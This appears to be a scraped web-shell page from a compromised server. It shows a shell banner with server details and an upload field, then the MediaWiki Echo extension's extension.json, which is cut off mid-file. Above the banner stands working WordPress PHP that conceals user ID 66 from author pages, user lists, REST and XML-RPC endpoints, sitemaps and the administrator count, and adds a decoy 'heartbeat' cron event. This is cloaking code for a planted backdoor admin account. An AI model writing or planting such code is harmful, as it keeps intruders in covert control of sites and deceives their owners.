add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/Echo/ |
Upload File : |
{
"name": "Echo",
"author": [
"Andrew Garrett",
"Ryan Kaldari",
"Benny Situ",
"Luke Welling",
"Kunal Mehta",
"Moriel Schottlender",
"Jon Robson",
"Roan Kattouw"
],
"url": "https://www.mediawiki.org/wiki/Extension:Echo",
"descriptionmsg": "echo-desc",
"license-name": "MIT",
"type": "specialpage",
"requires": {
"MediaWiki": ">= 1.44"
},
"APIMetaModules": {
"notifications": {
"class": "MediaWiki\\Extension\\Notifications\\Api\\ApiEchoNotifications",
"services": [
"MainConfig"
]
},
"unreadnotificationpages": {
"class": "MediaWiki\\Extension\\Notifications\\Api\\ApiEchoUnreadNotificationPages",
"services": [
"PageStore",
"TitleFactory"
]
}
},
"APIModules": {
"echomarkread": "MediaWiki\\Extension\\Notifications\\Api\\ApiEchoMarkRead",
"echomarkseen": "MediaWiki\\Extension\\Notifications\\Api\\ApiEchoMarkSeen",
"echocreateevent": {
"class": "MediaWiki\\Extension\\Notifications\\Api\\ApiEchoCreateEvent",
"services": [
"UserNameUtils"
]
},
"echoarticlereminder": "MediaWiki\\Extension\\Notifications\\Api\\ApiEchoArticleReminder",
"echomute": {
"class": "MediaWiki\\Extension\\Notifications\\Api\\ApiEchoMute",
"services": [
"CentralIdLookup",
"LinkBatchFactory",
"UserOptionsManager"
]
}
},
"DefaultUserOptions": {
"echo-email-frequency": 0,
"echo-dont-email-read-notifications": false
},
"ConditionalUserOptions": {
"echo-subscriptions-web-reverted": [
[
false,
[
"registered-after",
"20240208200000"
]
]
],
"echo-subscriptions-web-article-linked": [
[
true,
[
"registered-after",
"20240208200000"
]
]
],
"echo-subscriptions-email-mention": [
[
true,
[
"registered-after",
"20240208200000"
]
]
],
"echo-subscriptions-email-article-linked": [
[
true,
[
"registered-after",
"20240208200000"
]
]
]
},
"ExtensionFunctions": [
"MediaWiki\\Extension\\Notifications\\Hooks::initEchoExtension"
],
"JobClasses": {
"EchoNotificationJob": "MediaWiki\\Extension\\Notifications\\Jobs\\NotificationJob",
"EchoNotificationDeleteJob": {
"class": "MediaWiki\\Extension\\Notifications\\Jobs\\NotificationDeleteJob",
"services": [
"JobQueueGroup"
]
},
"EchoPushNotificationRequest": "MediaWiki\\Extension\\Notifications\\Push\\NotificationRequestJob"
},
"SpecialPages": {
"Notifications": "MediaWiki\\Extension\\Notifications\\Special\\SpecialNotifications",
"DisplayNotificationsConfiguration": {
"class": "MediaWiki\\Extension\\Notifications\\Special\\SpecialDisplayNotificationsConfiguration",
"services": [
"EchoAttributeManager",
"UserOptionsManager"
]
},
"NotificationsMarkRead": "MediaWiki\\Extension\\Notifications\\Special\\SpecialNotificationsMarkRead"
},
"NotificationHandlers": [
{
"types": [
"*"
],
"class": "MediaWiki\\Extension\\Notifications\\EchoNotificationHandler"
}
],
"AvailableRights": [
"manage-all-push-subscriptions",
"echo-create"
],
"GroupPermissions": {
"push-subscription-manager": {
"manage-all-push-subscriptions": true
}
},
"MessagesDirs": {
"Echo": [
"i18n",
"i18n/api"
]
},
"ExtensionMessagesFiles": {
"EchoAliases": "Echo.alias.php"
},
"QUnitTestModule": {
"localBasePath": "",
"remoteExtPath": "Echo",
"dependencies": [
"ext.echo.dm",
"ext.echo.mobile"
],
"scripts": [
"tests/qunit/model/test_mw.echo.dm.BundleNotificationItem.js",
"tests/qunit/model/test_mw.echo.dm.CrossWikiNotificationItem.js",
"tests/qunit/model/test_mw.echo.dm.FiltersModel.js",
"tests/qunit/model/test_mw.echo.dm.NotificationGroupsList.js",
"tests/qunit/model/test_mw.echo.dm.NotificationItem.js",
"tests/qunit/model/test_mw.echo.dm.NotificationsList.js",
"tests/qunit/model/test_mw.echo.dm.PaginationModel.js",
"tests/qunit/model/test_mw.echo.dm.SeenTimeModel.js",
"tests/qunit/model/test_mw.echo.dm.SourcePagesModel.js",
"tests/qunit/model/test_mw.echo.dm.UnreadNotificationCounter.js"
]
},
"ResourceModules": {
"ext.echo.ui.desktop": {
"scripts": [
"ui/mw.echo.ui.BadgeLinkWidget.js",
"ui/mw.echo.ui.NotificationBadgeWidget.js"
],
"styles": [
"styles/mw.echo.ui.NotificationBadgeWidget.less"
],
"dependencies": [
"ext.echo.ui",
"ext.echo.styles.badge",
"mediawiki.util",
"mediawiki.user",
"mediawiki.api"
]
},
"ext.echo.ui": {
"scripts": [
"controller/mw.echo.Controller.js",
"ui/mw.echo.ui.js",
"ui/mw.echo.ui.SortedListWidget.js",
"ui/mw.echo.ui.SubGroupListWidget.js",
"ui/mw.echo.ui.NotificationsListWidget.js",
"ui/mw.echo.ui.PlaceholderItemWidget.js",
"ui/mw.echo.ui.ToggleReadCircleButtonWidget.js",
"ui/mw.echo.ui.NotificationItemWidget.js",
"ui/mw.echo.ui.SingleNotificationItemWidget.js",
"ui/mw.echo.ui.CrossWikiNotificationItemWidget.js",
"ui/mw.echo.ui.BundleNotificationItemWidget.js",
"ui/mw.echo.ui.ClonedNotificationItemWidget.js",
"ui/mw.echo.ui.ActionMenuPopupWidget.js",
"ui/mw.echo.ui.MenuItemWidget.js",
"ui/mw.echo.ui.NotificationsWrapper.js",
"ui/mw.echo.ui.ConfirmationPopupWidget.js",
"ext.echo.moment-hack.js"
],
"styles": [
"styles/mw.echo.ui.mobile.less",
"styles/mw.echo.ui.overlay.less",
"styles/mw.echo.ui.NotificationItemWidget.less",
"styles/mw.echo.ui.ToggleReadCircleButtonWidget.less",
"styles/mw.echo.ui.CrossWikiNotificationItemWidget.less",
"styles/mw.echo.ui.NotificationsListWidget.less",
"styles/mw.echo.ui.PlaceholderItemWidget.less",
"styles/mw.echo.ui.SubGroupListWidget.less",
"styles/mw.echo.ui.ActionMenuPopupWidget.less",
"styles/mw.echo.ui.MenuItemWidget.less",
"styles/mw.echo.ui.NotificationsWrapper.less",
"styles/mw.echo.ui.ConfirmationPopupWidget.less"
],
"skinStyles": {
"modern": [
"styles/mw.echo.ui.overlay.monobook.less"
],
"monobook": [
"styles/mw.echo.ui.overlay.monobook.less"
],
"vector": [
"styles/mw.echo.ui.overlay.vector.less"
],
"vector-2022": [
"styles/mw.echo.ui.overlay.vector.less"
],
"minerva": [
"styles/mw.echo.ui.overlay.minerva.less"
],
"wikimediaapiportal": [
"styles/mw.echo.ui.overlay.wikimediaapiportal.less"
]
},
"dependencies": [
"ext.echo.api",
"ext.echo.dm",
"ext.echo.secondaryicons",
"oojs",
"oojs-ui-core",
"oojs-ui-widgets",
"moment",
"mediawiki.jqueryMsg",
"mediawiki.language",
"mediawiki.Title",
"oojs-ui.styles.icons-user",
"oojs-ui.styles.icons-alerts",
"oojs-ui.styles.icons-content",
"oojs-ui.styles.icons-interactions",
"oojs-ui.styles.icons-moderation",
"oojs-ui.styles.icons-movement",
"oojs-ui.styles.icons-editing-core"
],
"messages": [
"echo-badge-count",
"echo-overlay-link",
"echo-mark-all-as-read",
"echo-mark-wiki-as-read",
"echo-notification-alert",
"echo-notification-notice",
"echo-notification-loginrequired",
"echo-notification-popup-loginrequired",
"notification-link-text-expand-all",
"notification-link-text-collapse-all",
"notification-link-text-expand-alert-count",
"notification-link-text-expand-notice-count",
"notification-link-text-expand-all-count",
"notification-timestamp-ago-seconds",
"notification-timestamp-ago-minutes",
"notification-timestamp-ago-hours",
"notification-timestamp-ago-days",
"notification-timestamp-ago-months",
"notification-timestamp-ago-years",
"notification-timestamp-today",
"notification-timestamp-yesterday",
"echo-notification-markasread",
"echo-notification-markasunread",
"echo-notification-markasread-tooltip",
"echo-notification-more-options-tooltip",
"echo-notification-alert-text-only",
"echo-notification-notice-text-only",
"echo-notification-all-text-only",
"echo-email-batch-bullet",
"echo-notification-placeholder",
"tooltip-pt-notifications-alert",
"tooltip-pt-notifications-notice",
"mytalk",
"mypreferences",
"sunday",
"monday",
"tuesday",
"wednesday",
"thursday",
"friday",
"saturday"
]
},
"ext.echo.dm": {
"scripts": [
"model/mw.echo.dm.js",
"model/mw.echo.dm.SourcePagesModel.js",
"model/mw.echo.dm.PaginationModel.js",
"model/mw.echo.dm.FiltersModel.js",
"model/mw.echo.dm.SeenTimeModel.js",
"model/mw.echo.dm.ModelManager.js",
"model/mw.echo.dm.SortedList.js",
"model/mw.echo.dm.NotificationItem.js",
"model/mw.echo.dm.CrossWikiNotificationItem.js",
"model/mw.echo.dm.BundleNotificationItem.js",
"model/mw.echo.dm.NotificationsList.js",
"model/mw.echo.dm.NotificationGroupsList.js",
"model/mw.echo.dm.UnreadNotificationCounter.js"
],
"dependencies": [
"oojs",
"ext.echo.init",
"ext.echo.api",
"moment"
],
"messages": [
"echo-api-failure",
"echo-notification-loginrequired",
"echo-api-failure-cross-wiki"
]
},
"ext.echo.api": {
"scripts": [
"api/mw.echo.api.js",
"api/mw.echo.api.PromisePrioritizer.js",
"api/mw.echo.api.EchoApi.js",
"api/mw.echo.api.APIHandler.js",
"api/mw.echo.api.LocalAPIHandler.js",
"api/mw.echo.api.ForeignAPIHandler.js",
"api/mw.echo.api.NetworkHandler.js"
],
"dependencies": [
"mediawiki.api",
"mediawiki.ForeignApi",
"oojs"
]
},
"ext.echo.mobile": {
"styles": [
"mobile/overlay.less",
"mobile/notificationsFilterOverlay.less"
],
"messages": [
"notifications",
"echo-mobile-notifications-filter-title",
"echo-mark-all-as-read-confirmation"
],
"dependencies": [
"mediawiki.util",
"mediawiki.router",
"ext.echo.ui",
"oojs-ui.styles.icons-interactions"
],
"packageFiles": [
"mobile/notifications.js",
"mobile/list.js",
{
"name": "mobile/config.json",
"callback": "MediaWiki\\Extension\\Notifications\\Hooks::getConfigVars"
},
"mobile/overlay.js",
"mobile/notificationsFilterOverlay.js"
]
},
"ext.echo.init": {
"packageFiles": [
"ext.echo.init.js",
{
"name": "config.json",
"callback": "MediaWiki\\Extension\\Notifications\\Hooks::getConfigVars"
}
],
"dependencies": [
"ext.echo.api",
"mediawiki.jqueryMsg",
"web2017-polyfills"
],
"messages": [
"echo-badge-count",
"echo-displaysnippet-title",
"parentheses"
]
},
"ext.echo.centralauth": {
"packageFiles": [
"ext.echo.centralauth.js"
]
},
"ext.echo.styles.badge": {
"styles": [
"nojs/mw.echo.badge.less"
]
},
"ext.echo.styles.notifications": {
"styles": [
"nojs/mw.echo.notifications.less",
"styles/LabelIconWidget.less"
]
},
"ext.echo.styles.alert": {
"styles": [
"nojs/mw.echo.alert.less"
],
"skinStyles": {
"monobook": [
"nojs/mw.echo.alert.monobook.less"
]
}
},
"ext.echo.special": {
"scripts": [
"ui/mw.echo.ui.PaginationWidget.js",
"ui/mw.echo.ui.DatedSubGroupListWidget.js",
"ui/mw.echo.ui.DatedNotificationsWidget.js",
"ui/mw.echo.ui.ReadStateButtonSelectWidget.js",
"ui/mw.echo.ui.PageNotificationsOptionWidget.js",
"ui/mw.echo.ui.PageFilterWidget.js",
"ui/mw.echo.ui.CrossWikiUnreadFilterWidget.js",
"ui/mw.echo.ui.NotificationsInboxWidget.js",
"ui/mw.echo.ui.SpecialHelpMenuWidget.js",
"special/ext.echo.special.js"
],
"styles": [
"styles/mw.echo.ui.PaginationWidget.less",
"styles/mw.echo.ui.DatedSubGroupListWidget.less",
"styles/mw.echo.ui.DatedNotificationsWidget.less",
"styles/mw.echo.ui.NotificationsInboxWidget.less",
"styles/mw.echo.ui.PageNotificationsOptionWidget.less",
"styles/mw.echo.ui.PageFilterWidget.less",
"styles/mw.echo.ui.CrossWikiUnreadFilterWidget.less",
"styles/mw.echo.ui.SpecialHelpMenuWidget.less"
],
"skinStyles": {
"minerva": [
"styles/mw.echo.ui.NotificationsInboxWidget.minerva.less"
]
},
"dependencies": [
"ext.echo.ui",
"mediawiki.user",
"ext.echo.styles.special"
],
"messages": [
"notification-inbox-filter-read",
"notification-inbox-filter-unread",
"notification-inbox-filter-all",
"echo-notification-placeholder-filters",
"echo-specialpage-pagination-numnotifications",
"echo-specialpage-pagination-range",
"echo-specialpage-pagefilters-title",
"echo-specialpage-pagefilters-subtitle",
"echo-mark-all-as-read",
"echo-learn-more",
"mypreferences",
"echo-specialpage-section-markread",
"echo-specialpage-pagefilterwidget-aria-label",
"echo-specialpage-special-help-menu-widget-aria-label"
]
},
"ext.echo.styles.special": {
"styles": [
"nojs/mw.echo.special.less"
]
}
},
"ResourceFileModulePaths": {
"localBasePath": "modules",
"remoteExtPath": "Echo/modules"
},
"Hooks": {
"LoadExtensionSchemaUpdates": "schema",
"GetPreferences": "main",
"BeforePageDisplay": "main",
"ResourceLoaderRegisterModules": "main",
"UserGroupsChanged": "main",
"LoadUserOptions": "main",
"SaveUserOptions": "main",
"UserGetDefaultOptions": "main",
"UserClearNewTalkNotification": "main",
"EmailUserComplete": "main",
"LoginFormValidErrorMessages": "main",
"OutputPageCheckLastModified": "main",
"ArticleDeleteComplete": "main",
"ArticleUndelete": "main",
"UserMergeAccountFields": "usermerge",
"MergeAccountFromTo": "usermerge",
"UserMergeAccountDeleteTables": "usermerge",
"PageSaveComplete": "main",
"LocalUserCreated": "main",
"RollbackComplete": "main",
"UserSaveSettings": "main",
"SendWatchlistEmailNotification": "main",
"GetNewMessagesAlert": "main",
"LinksUpdateComplete": "main",
"SpecialMuteModifyFormFields": "main",
"RecentChange_save": "main",
"ApiMain::moduleManager": "main",
"SkinTemplateNavigation::Universal": "main",
"PreferencesGetIcon": "main"
},
"HookHandlers": {
"main": {
"class": "MediaWiki\\Extension\\Notifications\\Hooks",
"services": [
"AuthManager",
"CentralIdLookup",
"MainConfig",
"EchoAttributeManager",
"HookContainer",
"ContentLanguage",
"LinkRenderer",
"NamespaceInfo",
"PermissionManager",
"RevisionStore",
"StatsFactory",
"TalkPageNotificationManager",
"UserEditTracker",
"UserFactory",
"UserOptionsManager"
]
},
"schema": {
"class": "MediaWiki\\Extension\\Notifications\\SchemaHooks"
},
"usermerge": {
"class": "MediaWiki\\Extension\\Notifications\\UserMergeHooks"
}
},
"NotificationMiddleware": [
{
"class": "MediaWiki\\Extension\\Notifications\\Notifications\\RecentChangeNotificationMiddleware",
"services": [
"MainConfig"
]
}
],
"config": {
"EchoEnableEmailBatch": {
"value": true
},
"EchoUseJobQueue": {
"value": false
},
"EchoEmailFooterAddress": {
"value": ""
},
"EchoCluster": {
"value": false
},
"EchoSharedTrackingDB": {
"value": false
},
"EchoSharedTrackingCluster": {
"value": false
},
"EchoSeenTimeCacheType": {
"value": null
},
"EchoMaxUpdateCount": {
"value": 2000
},
"EchoMaxMentionsCount": {
"value": 50
},
"EchoMentionStatusNotifications": {
"value": false
},
"EchoMentionsOnMultipleSectionEdits": {
"value": true
},
"EchoMentionOnChanges": {
"value": true
},
"EchoBundleEmailInterval": {
"value": 0
},
"DefaultNotifyTypeAvailability": {
"value": {
"web": true,
"email": true
}
},
"NotifyTypeAvailabilityByCategory": {
"value": {
"system-noemail": {
"web": true,
"email": false
},
"system-emailonly": {
"web": false,
"email": true
},
"emailuser": {
"web": true,
"email": false
},
"article-linked": {
"web": true,
"email": false
},
"mention-failure": {
"web": true,
"email": false
},
"mention-success": {
"web": true,
"email": false
},
"thank-you-edit": {
"web": true,
"email": false
}
},
"merge_strategy": "array_plus_2d"
},
"EchoNotifiers": {
"value": {
"web": "MediaWiki\\Extension\\Notifications\\Notifier::notifyWithNotification",
"email": "MediaWiki\\Extension\\Notifications\\Notifier::notifyWithEmail"
}
},
"EchoAgentBlacklist": {
"value": []
},
"EchoOnWikiBlacklist": {
"value": "Echo-blacklist"
},
"EchoPerUserBlacklist": {
"value": false
},
"EchoPerUserWhitelistFormat": {
"value": "%s/Echo-whitelist"
},
"EchoCrossWikiNotifications": {
"value": false
},
"EchoNotificationCategories": {
"value": {
"system": {
"priority": 9,
"no-dismiss": [
"all"
]
},
"system-noemail": {
"priority": 9,
"no-dismiss": [
"all"
]
},
"system-emailonly": {
"priority": 9,
"no-dismiss": [
"all"
]
},
"user-rights": {
"priority": 9,
"tooltip": "echo-pref-tooltip-user-rights"
},
"other": {
"no-dismiss": [
"all"
]
},
"edit-user-talk": {
"priority": 1,
"no-dismiss": [
"web"
],
"tooltip": "echo-pref-tooltip-edit-user-talk"
},
"edit-user-page": {
"priority": 1,
"tooltip": "echo-pref-tooltip-edit-user-page"
},
"reverted": {
"priority": 9,
"tooltip": "echo-pref-tooltip-reverted"
},
"article-linked": {
"priority": 5,
"tooltip": "echo-pref-tooltip-article-linked"
},
"mention": {
"priority": 4,
"tooltip": "echo-pref-tooltip-mention"
},
"mention-failure": {
"priority": 4,
"tooltip": "echo-pref-tooltip-mention-failure"
},
"mention-success": {
"priority": 4,
"tooltip": "echo-pref-tooltip-mention-success"
},
"emailuser": {
"priority": 9,
"tooltip": "echo-pref-tooltip-emailuser"
},
"article-reminder": {
"priority": 1,
"tooltip": "echo-pref-tooltip-article-reminder"
},
"thank-you-edit": {
"priority": 9,
"tooltip": "echo-pref-tooltip-thank-you-edit"
},
"watchlist": {
"priority": 5,
"tooltip": "echo-pref-tooltip-watchlist"
},
"minor-watchlist": {
"priority": 6,
"tooltip": "echo-pref-tooltip-minor-watchlist"
},
"api-triggered": {
"priority": 9,
"tooltip": "echo-pref-tooltip-api-triggered"
}
},
"merge_strategy": "array_plus_2d"
},
"EchoNotificationIcons": {
"value": {
"watchlist-progressive": {
"path": {
"ltr": "Echo/modules/icons/watchlist-ltr-progressive.svg",
"rtl": "Echo/modules/icons/watchlist-rtl-progressive.svg"
}
},
"placeholder": {
"path": "Echo/modules/icons/notice.svg"
},
"chat": {
"path": {
"ltr": "Echo/modules/icons/speechBubbles-ltr-progressive.svg",
"rtl": "Echo/modules/icons/speechBubbles-rtl-progressive.svg"
}
},
"edit": {
"path": "Echo/modules/icons/edit-progressive.svg"
},
"edit-user-page": {
"path": "Echo/modules/icons/edit-user-page.svg"
},
"edit-user-talk": {
"path": "Echo/modules/icons/edit-user-talk-progressive.svg"
},
"linked": {
"path": "Echo/modules/icons/link-progressive.svg"
},
"mention": {
"path": "Echo/modules/icons/mention-progressive.svg"
},
"mention-failure": {
"path": "Echo/modules/icons/mention-failure.svg"
},
"mention-success": {
"path": "Echo/modules/icons/mention-success-constructive.svg"
},
"mention-status-bundle": {
"path": "Echo/modules/icons/mention-status-bundle-progressive.svg"
},
"reviewed": {
"path": "Echo/modules/icons/articleCheck-progressive.svg"
},
"revert": {
"path": "Echo/modules/icons/revert.svg"
},
"user-rights": {
"path": "Echo/modules/icons/user-rights-progressive.svg"
},
"emailuser": {
"path": "Echo/modules/icons/message-constructive.svg"
},
"help": {
"path": {
"ltr": "Echo/modules/icons/helpNotice-ltr.svg",
"rtl": "Echo/modules/icons/helpNotice-rtl.svg"
}
},
"global": {
"path": "Echo/modules/icons/global-progressive.svg"
},
"site": {
"url": false
},
"article-reminder": {
"path": "Echo/modules/icons/global-progressive.svg"
},
"robot": {
"path": "Echo/modules/icons/robot.svg"
}
},
"merge_strategy": "array_plus_2d"
},
"EchoSecondaryIcons": {
"value": {
"linked": {
"path": "Echo/modules/icons/link-progressive.svg"
},
"changes": {
"path": "Echo/modules/icons/changes.svg"
},
"thanks": {
"path": {
"ltr": "Echo/modules/icons/userTalk-ltr.svg",
"rtl": "Echo/modules/icons/userTalk-rtl.svg"
}
},
"unbell": {
"path": "Echo/modules/icons/unbell.svg"
},
"userSpeechBubble": {
"path": "Echo/modules/icons/user-speech-bubble.svg"
}
},
"merge_strategy": "array_plus_2d"
},
"EchoNotifications": {
"value": {
"welcome": {
"user-locators": [
"MediaWiki\\Extension\\Notifications\\UserLocator::locateEventAgent"
],
"canNotifyAgent": true,
"category": "system-noemail",
"group": "positive",
"section": "message",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoWelcomePresentationModel"
},
"edit-user-page": {
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoEditUserPagePresentationModel",
"user-locators": [
"MediaWiki\\Extension\\Notifications\\UserLocator::locateUserPageOwner"
],
"category": "edit-user-page",
"group": "interactive",
"section": "alert",
"bundle": {
"web": true,
"email": false,
"expandable": true
},
"immediate": true
},
"edit-user-talk": {
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoEditUserTalkPresentationModel",
"user-locators": [
"MediaWiki\\Extension\\Notifications\\UserLocator::locateTalkPageOwner"
],
"category": "edit-user-talk",
"group": "interactive",
"section": "alert",
"bundle": {
"web": true,
"email": false,
"expandable": true
},
"immediate": true
},
"reverted": {
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoRevertedPresentationModel",
"user-locators": [
[
"MediaWiki\\Extension\\Notifications\\UserLocator::locateFromEventExtra",
[
"reverted-user-id"
]
]
],
"category": "reverted",
"group": "negative",
"section": "alert"
},
"page-linked": {
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoPageLinkedPresentationModel",
"user-locators": [
"MediaWiki\\Extension\\Notifications\\UserLocator::locateArticleCreator"
],
"category": "article-linked",
"group": "neutral",
"section": "message",
"bundle": {
"web": true,
"email": true,
"expandable": true
}
},
"minor-watchlist-change": {
"user-locators": [
"MediaWiki\\Extension\\Notifications\\UserLocator::locateUsersWatchingTitle"
],
"category": "minor-watchlist",
"group": "interactive",
"section": "message",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoWatchlistChangePresentationModel",
"bundle": {
"web": true,
"email": true,
"expandable": true
}
},
"watchlist-change": {
"user-locators": [
"MediaWiki\\Extension\\Notifications\\UserLocator::locateUsersWatchingTitle"
],
"section": "message",
"category": "watchlist",
"group": "interactive",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoWatchlistChangePresentationModel",
"bundle": {
"web": true,
"email": true,
"expandable": true
}
},
"mention": {
"user-locators": [
[
"MediaWiki\\Extension\\Notifications\\UserLocator::locateFromEventExtra",
[
"mentioned-users"
]
]
],
"category": "mention",
"group": "interactive",
"section": "alert",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoMentionPresentationModel"
},
"mention-summary": {
"user-locators": [
[
"MediaWiki\\Extension\\Notifications\\UserLocator::locateFromEventExtra",
[
"mentioned-users"
]
]
],
"category": "mention",
"group": "interactive",
"section": "alert",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoMentionInSummaryPresentationModel"
},
"mention-failure": {
"user-locators": [
[
"MediaWiki\\Extension\\Notifications\\UserLocator::locateEventAgent"
]
],
"canNotifyAgent": true,
"category": "mention-failure",
"bundle": {
"web": true,
"expandable": true
},
"group": "negative",
"section": "alert",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoMentionStatusPresentationModel"
},
"mention-failure-too-many": {
"user-locators": [
[
"MediaWiki\\Extension\\Notifications\\UserLocator::locateEventAgent"
]
],
"canNotifyAgent": true,
"category": "mention-failure",
"group": "negative",
"section": "alert",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoMentionStatusPresentationModel"
},
"mention-success": {
"user-locators": [
[
"MediaWiki\\Extension\\Notifications\\UserLocator::locateEventAgent"
]
],
"canNotifyAgent": true,
"category": "mention-success",
"bundle": {
"web": true,
"expandable": true
},
"group": "positive",
"section": "message",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoMentionStatusPresentationModel"
},
"user-rights": {
"category": "user-rights",
"group": "neutral",
"section": "alert",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoUserRightsPresentationModel"
},
"emailuser": {
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoEmailUserPresentationModel",
"category": "emailuser",
"group": "neutral",
"section": "alert"
},
"foreign": {
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoForeignPresentationModel",
"user-locators": [
"MediaWiki\\Extension\\Notifications\\UserLocator::locateEventAgent"
],
"category": "foreign",
"group": "positive",
"section": "alert"
},
"thank-you-edit": {
"user-locators": [
"MediaWiki\\Extension\\Notifications\\UserLocator::locateEventAgent"
],
"canNotifyAgent": true,
"category": "thank-you-edit",
"group": "positive",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoEditThresholdPresentationModel",
"section": "message"
},
"article-reminder": {
"user-locators": [
"MediaWiki\\Extension\\Notifications\\UserLocator::locateEventAgent"
],
"canNotifyAgent": true,
"category": "article-reminder",
"group": "positive",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoArticleReminderPresentationModel",
"section": "message"
},
"api-alert": {
"canNotifyAgent": true,
"category": "api-triggered",
"group": "neutral",
"section": "alert",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoManualPresentationModel"
},
"api-notice": {
"canNotifyAgent": true,
"category": "api-triggered",
"group": "neutral",
"section": "message",
"presentation-model": "MediaWiki\\Extension\\Notifications\\Formatters\\EchoManualPresentationModel"
}
},
"merge_strategy": "array_plus_2d"
},
"EchoCacheVersion": {
"value": "1.12"
},
"AllowArticleReminderNotification": {
"value": false,
"description": "This is a feature flag to the Article Reminder notification"
},
"EchoMaxMentionsInEditSummary": {
"value": 0,
"description": "Maximum nubmer of users that will be notified that they were linked from an edit summary or 0 for no notifications"
},
"EchoPollForUpdates": {
"value": 0,
"description": "This is the polling rate i.e. the time after which we check for notifications count on the client side. It also controls whether notification count will be displayed in browser title. If polling rate is 0 this means polling is disabled and notification count is also not shown in browser title"
},
"EchoWatchlistNotifications": {
"value": false,
"description": "Feature flag to enable Echo notifications whenever a page on a user's watchlist is changed, replacing the built-in preference to send emails in that circumstance."
},
"EchoWatchlistEmailOncePerPage": {
"value": true,
"description": "Whether to send email notifications each time a watched page is edited (if false) or only the first time the page is changed before being visited again by the user (if true)"
},
"EchoEnableApiEvents": {
"value": false,
"description": "Whether to enable the API for creating custom Echo events"
},
"EchoEnablePush": {
"value": false,
"description": "Whether to enable push notifications"
},
"EchoPushServiceBaseUrl": {
"value": false,
"description": "Request endpoint URL for the push notification service"
},
"EchoPushMaxSubscriptionsPerUser": {
"value": 0,
"description": "Maximum number of push subscriptions that may be stored in the DB at any given time for a single central user ID."
}
},
"manifest_version": 2,
"AutoloadClasses": {
"BackfillUnreadWikis": "maintenance/backfillUnreadWikis.php",
"EchoAttributeManager": "includes/AttributeManager.php",
"MediaWiki\\Extension\\Notifications\\AttributeManager": "includes/AttributeManager.php",
"EchoCallbackIterator": "includes/Iterator/CallbackIterator.php",
"MediaWiki\\Extension\\Notifications\\Iterator\\CallbackIterator": "includes/Iterator/CallbackIterator.php",
"EchoDiscussionParser": "includes/DiscussionParser.php",
"MediaWiki\\Extension\\Notifications\\DiscussionParser": "includes/DiscussionParser.php",
